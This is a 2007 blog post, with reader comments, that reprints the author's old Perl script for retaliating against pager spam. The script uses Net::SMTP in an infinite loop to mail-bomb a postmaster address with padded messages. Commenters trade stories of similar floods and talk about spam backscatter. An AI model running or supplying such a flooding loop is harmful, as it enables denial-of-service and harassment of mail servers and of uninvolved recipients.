I just found an old (circa 2002) Perl script that I wrote very early one morning after being spammed repeatedly on my pager/cell phone.
It looks like this...
#!/usr/local/bin/perl -w $|=1; use strict; use Net::SMTP; my $lines = 100; my $mail_from = "dev\@null.com"; my $smtp_host = "mail.XXXXXX-online.com"; my $mail_to = "postmaster\@XXXXXX-online.com"; my $subject = "Why did you spam my pager?!"; my $line = "Q" x 72; $line .= "\n"; my $smtp = Net::SMTP->new($smtp_host, Debug => 0) or die "$!"; while (1) { $smtp->mail($mail_from) or die "$!"; $smtp->to($mail_to) or die "$!"; $smtp->data() or die "$!" ; $smtp->datasend("To: $mail_to\n") or die "$!"; $smtp->datasend("Subject: $subject\n") or die "$!"; $smtp->datasend("\n") or die "$!"; for (1 .. $lines) { $smtp->datasend($line) or die "$!"; } $smtp->dataend() or die "$!"; #$smtp->quit; print "."; } print "\n";
Heh.
Do not code when you're angry, kids...
If nothing else, it's interesting to see how my coding style has evolved in some ways but not in others--at least my "coding while pissed off" style.
Posted by jzawodn at March 01, 2007 10:34 PM
re: weasel
I think this is one of those 'run until I get to the level of retribution satisfcation needed to press ctrl+c' programs :)
Do you know those mails end up with the spammer? I can notice, from the many undilevered responses, and some angry replies, that random adresses on my domain has been used for some spam runs. So, in your case, I would receive those 100 mails, while having nothing to do with it. Furtunately, the code to filter those would be even shorter :).
If anyone knows a way to prevent my domain from being used as sender in spam, I'm really interested. I know turing of the cachall would help not receiving the errors, but that's not really an option, as I haven't tracked which adresses are in use.
PanMan, in 2002 spammers just knew how to write something like the code above in VBScript though! They weren't using other domain names or these fancy things.
Yup, I got angry and did something like that when a search engine company (tehoma?) got stuck in a users infinite php page loop on my server and started hammering my server, spidering an infinite php tarpit (not intentionally created) with about 60 bots. Ended up on the phone with their support guys pretty quickly, because apparently my 1..100 email to their support mail got sent out to 80 or so support people. Ooops.
Nice one, I changed my urls to wpcco.php and I am seeing intelligent spambots that issue a GET request for my blog page, then find the changed url by looking at the source! then they issue a POST full of spam to my renamed file! ahh.
http://www.askapache.com/2007/htaccess/fight-blog-spam-with-apache.html